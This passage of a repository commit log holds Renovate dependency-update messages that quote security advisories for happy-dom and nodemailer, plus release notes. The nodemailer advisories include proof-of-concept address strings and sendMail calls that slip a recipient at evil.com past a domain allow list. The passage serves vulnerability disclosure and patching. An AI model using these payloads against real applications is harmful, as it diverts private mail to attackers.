can be reused: ```diff - if (alias && name) { + if (alias && name && VALID_VARIABLE_NAME_REGEXP.test(alias)) { ``` A regression test should compile and execute the malicious import declaration, then verify that the initializer was not evaluated. This change was tested locally. The focused `ECMAScriptModuleCompiler` test suite passes with 30 tests, and ESLint reports no errors. For additional hardening, generated property keys should use `JSON.stringify()` instead of manual quote interpolation. ##### Verification record - Testing date: 2026-09-17 - Duplicate check updated: 2026-09-20 - Platform: Windows 11 - Node.js: `24.14.1` - Latest tested package: `happy-dom@20.14.5` - Source tag: `v20.14.5` - Source commit: `0d4cdbe7442af49d16b49ddf1acf7cc9684ed318` - First confirmed affected version: `17.0.0` - Confirmed unaffected version: `16.8.1` - Docker environment: Node 24 Alpine - No matching public advisory, issue, pull request, commit, or release was found during the duplicate check. #### Severity - CVSS Score: 8.8 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` #### References - [https://github.com/capricorn86/happy-dom/security/advisories/GHSA-834v-8h66-3h79](https://redirect.github.com/capricorn86/happy-dom/security/advisories/GHSA-834v-8h66-3h79) - [https://github.com/capricorn86/happy-dom/pull/2537](https://redirect.github.com/capricorn86/happy-dom/pull/2537) - [https://github.com/capricorn86/happy-dom/commit/fd163520b74d9fa146be91f7b4e4f46d6cccbe13](https://redirect.github.com/capricorn86/happy-dom/commit/fd163520b74d9fa146be91f7b4e4f46d6cccbe13) - [https://github.com/capricorn86/happy-dom/releases/tag/v21.0.4](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v21.0.4) - [https://github.com/advisories/GHSA-834v-8h66-3h79](https://redirect.github.com/advisories/GHSA-834v-8h66-3h79) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-834v-8h66-3h79) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Release Notes <details> <summary>capricorn86/happy-dom (happy-dom)</summary> ### [`v21.0.4`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v21.0.4) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v21.0.3...v21.0.4) ##### 👷♂️ Patch fixes - Fixed a code injection vulnerability in the ESM compiler - By **[@​capricorn86](https://redirect.github.com/capricorn86)** - Fixed cross-origin isolation so opaque-origin `data:` iframes cannot access their parent or top window - By **[@​capricorn86](https://redirect.github.com/capricorn86)** ### [`v21.0.3`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v21.0.3) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v21.0.2...v21.0.3) ##### 👷♂️ Patch fixes - Fixes security vulnerability where authorization header was forwarded when redirecting - By **[@​capricorn86](https://redirect.github.com/capricorn86)** ### [`v21.0.2`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v21.0.2) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v21.0.1...v21.0.2) ##### 👷♂️ Patch fixes - Fixes SSRF security vulnerability by doing a target-origin bypass in the proxy server in [@​happy-dom/server-renderer](https://redirect.github.com/capricorn86/happy-dom/wiki/Server-Renderer) - By **[@​capricorn86](https://redirect.github.com/capricorn86)** ### [`v21.0.1`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v21.0.1) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v21.0.0...v21.0.1) ##### 👷♂️ Patch fixes - Adds aliases `--css` and `--iframe` for enabling CSS and iframe loading to [@​happy-dom/server-renderer](https://redirect.github.com/capricorn86/happy-dom/wiki/Server-Renderer) - By **[@​capricorn86](https://redirect.github.com/capricorn86)** ### [`v21.0.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v21.0.0) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.14.6...v21.0.0) ##### 💣 Breaking Changes - Disables CSS and IFrame loading by default to prevent [server-side request forgery (SSRF)](https://en.wikipedia.org/wiki/Server-side_request_forgery) - By **[@​capricorn86](https://redirect.github.com/capricorn86)** - An attacker could embed `<iframe>` or `<link rel="stylesheet">` elements in untrusted HTML to make Happy DOM send HTTP requests from the server to attacker-chosen URLs, including internal services. This could allow access to otherwise unreachable endpoints or trigger unintended actions, depending on the application and its network access. - The settings property `disableCSSFileLoading` has been deprecated - Added the new settings properties [enableCSSFileLoading](https://redirect.github.com/capricorn86/happy-dom/wiki/IBrowserSettings#properties) and [enableIframePageLoading](https://redirect.github.com/capricorn86/happy-dom/wiki/IBrowserSettings#properties) - If you don't believe that you are at risk, you can keep the same behavior as in `<=v20.14.6` by sending in `{ enableCSSFileLoading: true, enableIframePageLoading: true }` as [broswer settings](https://redirect.github.com/capricorn86/happy-dom/wiki/IOptionalBrowserSettings) (e.g. `new Window({ settings })`); ### [`v20.14.6`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.14.6) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.14.5...v20.14.6) ##### 👷♂️ Patch fixes - Fixes cookie scope forgery vulnerability - By **[@​capricorn86](https://redirect.github.com/capricorn86)** ### [`v20.14.5`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.14.5) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.14.4...v20.14.5) ##### 👷♂️ Patch fixes - Preserve character references in comment data - By **[@​hampustagerud](https://redirect.github.com/hampustagerud)** in task [#​2409](https://redirect.github.com/capricorn86/happy-dom/issues/2409) ### [`v20.14.4`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.14.4) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.14.3...v20.14.4) ##### 👷♂️ Patch fixes - End comments at the first comment end tag when it overlaps a comment start tag - By **[@​hampustagerud](https://redirect.github.com/hampustagerud)** in task [#​2407](https://redirect.github.com/capricorn86/happy-dom/issues/2407) ### [`v20.14.3`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.14.3) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.14.2...v20.14.3) ##### 👷♂️ Patch fixes - Avoids cloning all properties in CSSPropertyManager.toString - By **[@​erictheswift](https://redirect.github.com/erictheswift)** in task [#​2363](https://redirect.github.com/capricorn86/happy-dom/issues/2363) ### [`v20.14.2`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.14.2) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.14.1...v20.14.2) ##### 👷♂️ Patch fixes - Fixes regression where not all CSS variables where resolved in `getComputedStyle()` - By **[@​klaesra](https://redirect.github.com/klaesra)** in task [#​2344](https://redirect.github.com/capricorn86/happy-dom/issues/2344) ### [`v20.14.1`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.14.1) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.14.0...v20.14.1) ##### 👷♂️ Patch fixes - Invalidate the computed style cache for the whole subtree - By **[@​matmannion](https://redirect.github.com/matmannion)** and **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2366](https://redirect.github.com/capricorn86/happy-dom/issues/2366) ### [`v20.14.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.14.0) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.13.2...v20.14.0) ##### 🎨 Features - Improves computed style cache - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2357](https://redirect.github.com/capricorn86/happy-dom/issues/2357) ### [`v20.13.2`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.13.2) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.13.1...v20.13.2) ##### 👷♂️ Patch fixes - Fix problem with getComputedStyle with :host and :host-context selectors - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2349](https://redirect.github.com/capricorn86/happy-dom/issues/2349) ### [`v20.13.1`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.13.1) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.13.0...v20.13.1) ##### 👷♂️ Patch fixes - GetComputedStyle should return inherited value when it is set to inherit - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2347](https://redirect.github.com/capricorn86/happy-dom/issues/2347) ### [`v20.13.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.13.0) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.12.2...v20.13.0) ##### 🎨 Features - Adds support for :host psuedo query selector - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2345](https://redirect.github.com/capricorn86/happy-dom/issues/2345) ### [`v20.12.2`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.12.2) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.12.1...v20.12.2) ##### 👷♂️ Patch fixes - Custom elements should be upgraded when connected to DOM - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2342](https://redirect.github.com/capricorn86/happy-dom/issues/2342) ### [`v20.12.1`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.12.1) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.12.0...v20.12.1) ##### 🎨 Features - Adds support for kebab-case properties on `CSSStyleDeclaration` - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2256](https://redirect.github.com/capricorn86/happy-dom/issues/2256) - Adds support for all Chromium CSS properties to `CSSStyleDeclaration` - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2256](https://redirect.github.com/capricorn86/happy-dom/issues/2256) - Downloads a list from the Chromium project when compiling ##### 👷♂️ Patch fixes - Fixes issue with parsing CSS fallback variables - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2256](https://redirect.github.com/capricorn86/happy-dom/issues/2256) ### [`v20.12.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.12.0) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.15...v20.12.0) ##### 🎨 Features - Adds support for `Animation`, `AnimationTimeline`, `DocumentTimeline` and `KeyframeEffect` - By **[@​capricorn86](https://redirect.github.com/capricorn86)** - Adds support for `Element.animate()` - By **[@​capricorn86](https://redirect.github.com/capricorn86)** ### [`v20.11.15`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.15) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.14...v20.11.15) ##### 👷♂️ Patch fixes - Fixes issue with upgrading custom element caused by previous release - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2331](https://redirect.github.com/capricorn86/happy-dom/issues/2331) ### [`v20.11.14`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.14) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.13...v20.11.14) ##### 👷♂️ Patch fixes - Change prototype of element to the custom element when upgraded to keep the reference - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2331](https://redirect.github.com/capricorn86/happy-dom/issues/2331) - The previous solution replaced the element with the custom element and copied it's properties, but this made any reference to the original element invalid ### [`v20.11.13`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.13) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.12...v20.11.13) ##### 👷♂️ Patch fixes - Copy event listeners when upgrading a custom element - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2329](https://redirect.github.com/capricorn86/happy-dom/issues/2329) ### [`v20.11.12`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.12) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.11...v20.11.12) ##### 👷♂️ Patch fixes - Add check for if the node is still a parent during disconnect - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2322](https://redirect.github.com/capricorn86/happy-dom/issues/2322) ### [`v20.11.11`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.11) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.10...v20.11.11) ##### 👷♂️ Patch fixes - Use proxy as parent node in Node.connectedToNode - By **[@​diegohaz](https://redirect.github.com/diegohaz)** in task [#​2253](https://redirect.github.com/capricorn86/happy-dom/issues/2253) ### [`v20.11.10`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.10) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.9...v20.11.10) ##### 👷♂️ Patch fixes - Return default validationMessage for built-in constraint violations - By **[@​mixelburg](https://redirect.github.com/mixelburg)** in task [#​2187](https://redirect.github.com/capricorn86/happy-dom/issues/2187) ### [`v20.11.9`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.9) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.8...v20.11.9) ##### 👷♂️ Patch fixes - Make sure that the element has been upgraded before invoking reaction callback in custom elements - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2317](https://redirect.github.com/capricorn86/happy-dom/issues/2317) ### [`v20.11.8`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.8) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.7...v20.11.8) ##### 👷♂️ Patch fixes - Values pushed or assigned to the `adoptedStyleSheet` array should be validated - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2315](https://redirect.github.com/capricorn86/happy-dom/issues/2315) ### [`v20.11.7`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.7) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.6...v20.11.7) ##### 👷♂️ Patch fixes - The properties `Document.adoptedStyleSheets` and `ShadowRoot.adoptedStyleSheets` should validate it's value - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2313](https://redirect.github.com/capricorn86/happy-dom/issues/2313) ### [`v20.11.6`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.6) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.5...v20.11.6) ##### 👷♂️ Patch fixes - Updates docs for the global-registrator package - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2300](https://redirect.github.com/capricorn86/happy-dom/issues/2300) ### [`v20.11.5`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.5) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.4...v20.11.5) ##### 👷♂️ Patch fixes - Allow explicit element types for querySelector (e.g. `querySelector<HTMLInputElement>(".my-input")`) - By **[@​cyphercodes](https://redirect.github.com/cyphercodes)** ### [`v20.11.4`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.4) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.3...v20.11.4) ##### 👷♂️ Patch fixes - Fixes the CORS check `fetch()` to match origins instead of host and protocol - By **[@​rexxars](https://redirect.github.com/rexxars)** in task [#​1490](https://redirect.github.com/capricorn86/happy-dom/issues/1490) ### [`v20.11.3`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.3) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.2...v20.11.3) ##### 👷♂️ Patch fixes - Make document.links return a live HTMLCollection - By **[@​bangseongbeom](https://redirect.github.com/bangseongbeom)** in task [#​2299](https://redirect.github.com/capricorn86/happy-dom/issues/2299) - Copy labels array to prevent mutation of cached querySelectorAll result - By **[@​mixelburg](https://redirect.github.com/mixelburg)** in task [#​2226](https://redirect.github.com/capricorn86/happy-dom/issues/2226) ### [`v20.11.2`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.2) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.1...v20.11.2) ##### 👷♂️ Patch fixes - MutationObserver callback being GC'd due to orphaned WeakRef - By **[@​mixelburg](https://redirect.github.com/mixelburg)** in task [#​2264](https://redirect.github.com/capricorn86/happy-dom/issues/2264) ### [`v20.11.1`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.1) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.0...v20.11.1) ##### 👷♂️ Patch fixes - Improve performance of query selectors by avoiding construction of DOMException when not needed - By **@​[@​cyfung1031](https://redirect.github.com/cyfung1031)** in task [#​2228](https://redirect.github.com/capricorn86/happy-dom/issues/2228) ### [`v20.11.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.0) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.10.6...v20.11.0) ##### 🎨 Features - Adds support for [CookieStore API](https://developer.mozilla.org/en-US/docs/Web/API/Cookie_Store_API) - By **[@​TrevorBurnham](https://redirect.github.com/TrevorBurnham)** in task [#​1864](https://redirect.github.com/capricorn86/happy-dom/issues/1864) - Adds support for [Element.checkVisibility()](https://developer.mozilla.org/en-US/docs/Web/API/Element/checkVisibility) - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​1506](https://redirect.github.com/capricorn86/happy-dom/issues/1506) ### [`v20.10.6`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.10.6) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.10.5...v20.10.6) ##### 👷♂️ Patch fixes - Await NodeJS internal ReadableStream promise during teardown - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2217](https://redirect.github.com/capricorn86/happy-dom/issues/2217) ### [`v20.10.5`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.10.5) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.10.4...v20.10.5) ##### 👷♂️ Patch fixes - Adds cache to query selector parser - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2142](https://redirect.github.com/capricorn86/happy-dom/issues/2142) - The selector parser degraded in performance in v20.6.3 to solve more complex selectors - Parsing is still a bit slower, but the cache will hopefully mitigate most of the problem ### [`v20.10.4`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.10.4) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.10.3...v20.10.4) ##### 👷♂️ Patch fixes - Coerce null qualifiedName to empty string in createDocument - By **[@​Firer](https://redirect.github.com/Firer)** in task [#​2206](https://redirect.github.com/capricorn86/happy-dom/issues/2206) ### [`v20.10.3`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.10.3) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.10.2...v20.10.3) ##### 👷♂️ Patch fixes - Fix "\~=" attribute selector matching hyphenated substrings in CSS selectors - By **[@​mixelburg](https://redirect.github.com/mixelburg)** in task [#​2194](https://redirect.github.com/capricorn86/happy-dom/issues/2194) ### [`v20.10.2`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.10.2) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.10.1...v20.10.2) ##### 👷♂️ Patch fixes - Updates external dependencies - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2163](https://redirect.github.com/capricorn86/happy-dom/issues/2163) ### [`v20.10.1`](https://redirect.github.com/capricorn86/happy-dom/compare/v20.10.0...v20.10.1) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.10.0...v20.10.1) ### [`v20.10.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.10.0) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.9.0...v20.10.0) ##### 🎨 Features - Adds support for setting a canvas adapter for handling the canvas rendering using the browser setting [canvasAdapter](https://redirect.github.com/capricorn86/happy-dom/wiki/IOptionalBrowserSettings) - By **[@​RAprogramm](https://redirect.github.com/RAprogramm)** and **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​241](https://redirect.github.com/capricorn86/happy-dom/issues/241) - Adds new package [@​happy-dom/node-canvas-adapter](https://redirect.github.com/capricorn86/happy-dom/tree/master/packages/%40happy-dom/node-canvas-adapter) - By **[@​RAprogramm](https://redirect.github.com/RAprogramm)** and **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​241](https://redirect.github.com/capricorn86/happy-dom/issues/241) - [@​happy-dom/node-canvas-adapter](https://redirect.github.com/capricorn86/happy-dom/tree/master/packages/%40happy-dom/node-canvas-adapter) is a pluggable canvas adapter for Happy DOM using [node-canvas](https://redirect.github.com/Automattic/node-canvas). - Adds support for loading image files when enabling the browser setting [enableImageFileLoading](https://redirect.github.com/capricorn86/happy-dom/wiki/IOptionalBrowserSettings) - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​241](https://redirect.github.com/capricorn86/happy-dom/issues/241) - Adds support for loading image data URLs - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​241](https://redirect.github.com/capricorn86/happy-dom/issues/241) - Adds support for [ImageData](https://developer.mozilla.org/en-US/docs/Web/API/ImageData) - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​241](https://redirect.github.com/capricorn86/happy-dom/issues/241) - Adds support for [ImageBitmap](https://developer.mozilla.org/en-US/docs/Web/API/ImageBitmap) - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​241](https://redirect.github.com/capricorn86/happy-dom/issues/241) - Adds support for [Window.createImageBitmap()](https://developer.mozilla.org/en-US/docs/Web/API/Window/createImageBitmap) - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​241](https://redirect.github.com/capricorn86/happy-dom/issues/241) ### [`v20.9.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.9.0) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.8.9...v20.9.0) ##### 🎨 Features - Adds support for event listener properties on Window (e.g. `Window.onkeydown`) - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2131](https://redirect.github.com/capricorn86/happy-dom/issues/2131) </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about these updates again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xODAuMCIsInVwZGF0ZWRJblZlciI6IjQ0LjE4MC4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>v2026.10.25-canary.907 |
||
|
|
cb9a9a72bc |
chore: bump up nodemailer version to v10.1.4 [SECURITY] (#15738)
This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [nodemailer](https://nodemailer.com/) ([source](https://redirect.github.com/nodemailer/nodemailer)) | [`10.0.13` → `10.1.4`](https://renovatebot.com/diffs/npm/nodemailer/10.0.13/10.1.4) |  |  | --- ### Nodemailer: A ">" inside a quoted local part ends an angle-addr early in addressparser, delivering to a domain the header does not name [GHSA-85x2-q946-cp5h](https://redirect.github.com/advisories/GHSA-85x2-q946-cp5h) <details> <summary>More information</summary> #### Details ##### Vulnerability summary addressparser ends an angle-addr at the first `>` it sees, including one inside a quoted local part, a comment or a domain literal. The domain is then read off the text in front of that `>`. `<"a@evil.com>"@good.com>` is the mailbox `"a@evil.com>"@good.com` under RFC 5322, and Nodemailer read it as an address at `evil.com`. The unbracketed spelling of the same value was already read correctly. Affected: 3.0.0 through 10.1.3. ##### Attacker capabilities The attacker controls the text of a recipient or sender address that an application passes to Nodemailer, for example a To value entered in a contact or invite form, or the header of an inbound message parsed with mailparser. No access to the application, its configuration or its credentials is needed. The value is a syntactically valid RFC 5322 address that conformant parsers accept without defects. ##### Realistic exploitation scenario An application lets users send invitations or notifications only to addresses at an allowed domain and validates the submitted value with a conformant parser or by checking its domain. The attacker submits `<"a@evil.com>"@good.com>`, which validates as a `good.com` mailbox. Nodemailer then parses the same value, issues `RCPT TO:<"\"a"@evil.com>` and the message, with whatever content the application puts into it, is delivered to the attacker's domain. The security boundary crossed is the application's recipient allow list. In the inbound direction, mailparser reports a different address than a conformant reader of the same header, so a display or policy layer built on the two disagrees. ##### Proof of concept ```js const addressparser = require('nodemailer/lib/addressparser'); console.log(addressparser("<\"a@evil.com>\"@good.com>")); // [ { address: '"a@evil.com', name: '@good.com>' } ] ``` Python's `email._header_value_parser.get_address_list` reads the same value as `"a@evil.com>"@good.com`, with no defects reported. The envelope a message gets is built from the same parse, so `sendMail({ to: "<\"a@evil.com>\"@good.com>" })` issues the RCPT TO shown above. ##### Security impact Mail that an application intends for an allowed domain is delivered to a domain chosen by the attacker, which discloses its content. It is a security vulnerability rather than a parsing bug because the misreading only occurs for values that a conformant validator approves, so validation done the right way is bypassed. Affected are applications that pass user influenced addresses to Nodemailer and consumers of the standalone parser such as mailparser. The fix tracks quoted strings, comments and domain literals inside an angle-addr and reads only a `>` outside them. Found in an internal review of addressparser on 2026-10-18. Verified on 3.0.0, 6.9.16 and 10.1.3. #### Severity - CVSS Score: 6.5 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N` #### References - [https://github.com/nodemailer/nodemailer/security/advisories/GHSA-85x2-q946-cp5h](https://redirect.github.com/nodemailer/nodemailer/security/advisories/GHSA-85x2-q946-cp5h) - [https://github.com/nodemailer/nodemailer/commit/1cd57d2b8c49dff048c21cdbafdb54439a7f07e2](https://redirect.github.com/nodemailer/nodemailer/commit/1cd57d2b8c49dff048c21cdbafdb54439a7f07e2) - [https://github.com/nodemailer/nodemailer/releases/tag/v10.1.4](https://redirect.github.com/nodemailer/nodemailer/releases/tag/v10.1.4) - [https://github.com/advisories/GHSA-85x2-q946-cp5h](https://redirect.github.com/advisories/GHSA-85x2-q946-cp5h) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-85x2-q946-cp5h) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Nodemailer: A ";" inside a quoted string or comment ends an address group early in addressparser, turning display text into a recipient [GHSA-m943-m63m-w62w](https://redirect.github.com/advisories/GHSA-m943-m63m-w62w) <details> <summary>More information</summary> #### Details ##### Vulnerability summary addressparser ends an RFC 5322 group at the first `;`, including one inside a quoted display name or a comment. The text after it is parsed again as top level recipients with the quoting flipped, so text that every conformant parser reads as a display name or comment becomes a live address. `G: (a; <evil@evil.com>) <v@victim.com>;` names only `v@victim.com`, and Nodemailer read it as the single recipient `evil@evil.com`. Affected: 3.0.0 through 10.1.3. ##### Attacker capabilities The attacker controls the text of an address field that an application passes to Nodemailer, or the header of an inbound message parsed with mailparser. No access to the application, its configuration or its credentials is needed. The value is a syntactically valid RFC 5322 group that conformant parsers accept without defects. ##### Realistic exploitation scenario An application validates the recipients of a submitted address list with a conformant parser and only allows addresses at its own domain. The attacker submits `G: (a; <evil@evil.com>) <v@victim.com>;`. The validator sees one mailbox, `v@victim.com`, and approves it. Nodemailer delivers to `evil@evil.com` only. The same works through a quoted display name, `G: "a;" "<evil@evil.com>" <v@victim.com>;`. The boundary crossed is the application's recipient allow list. ##### Proof of concept ```js const addressparser = require('nodemailer/lib/addressparser'); console.log(addressparser("G: (a; <evil@evil.com>) <v@victim.com>;")); // [ { name: 'G', group: [ [Object] ] }, { address: 'evil@evil.com', name: ') v@victim.com' } ] ``` Python's `email._header_value_parser.get_address_list` reads the same value as the single mailbox `v@victim.com`, with no defects reported. The envelope a message gets is built from the same parse, so `sendMail({ to: "G: (a; <evil@evil.com>) <v@victim.com>;" })` issues the RCPT TO shown above. ##### Security impact Mail that an application intends for an approved recipient goes to a recipient chosen by the attacker, which discloses its content, and the intended recipient never receives it. The misreading only occurs on values a conformant validator approves, so correct validation is bypassed, which makes it a security issue rather than a parsing bug. Affected are applications that pass user influenced address lists to Nodemailer and consumers of the standalone parser such as mailparser. The fix tracks quoted strings and comments inside a group and reads only a `;` outside them. Found in an internal review of addressparser on 2026-10-18. Verified on 3.0.0, 6.9.16 and 10.1.3. #### Severity - CVSS Score: 6.5 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N` #### References - [https://github.com/nodemailer/nodemailer/security/advisories/GHSA-m943-m63m-w62w](https://redirect.github.com/nodemailer/nodemailer/security/advisories/GHSA-m943-m63m-w62w) - [https://github.com/nodemailer/nodemailer/commit/1cd57d2b8c49dff048c21cdbafdb54439a7f07e2](https://redirect.github.com/nodemailer/nodemailer/commit/1cd57d2b8c49dff048c21cdbafdb54439a7f07e2) - [https://github.com/nodemailer/nodemailer/releases/tag/v10.1.4](https://redirect.github.com/nodemailer/nodemailer/releases/tag/v10.1.4) - [https://github.com/advisories/GHSA-m943-m63m-w62w](https://redirect.github.com/advisories/GHSA-m943-m63m-w62w) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-m943-m63m-w62w) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Nodemailer: A nested comment ends early in addressparser, releasing the rest of the comment as a recipient [GHSA-8c8m-p3m8-cjg8](https://redirect.github.com/advisories/GHSA-8c8m-p3m8-cjg8) <details> <summary>More information</summary> #### Details ##### Vulnerability summary RFC 5322 comments nest. addressparser ended a comment at the first `)`, including the one that closes a nested comment, and parsed the rest of the outer comment as header text. `Victim (x(y) <evil@evil.com>) <v@victim.com>` names `v@victim.com` with `x(y) 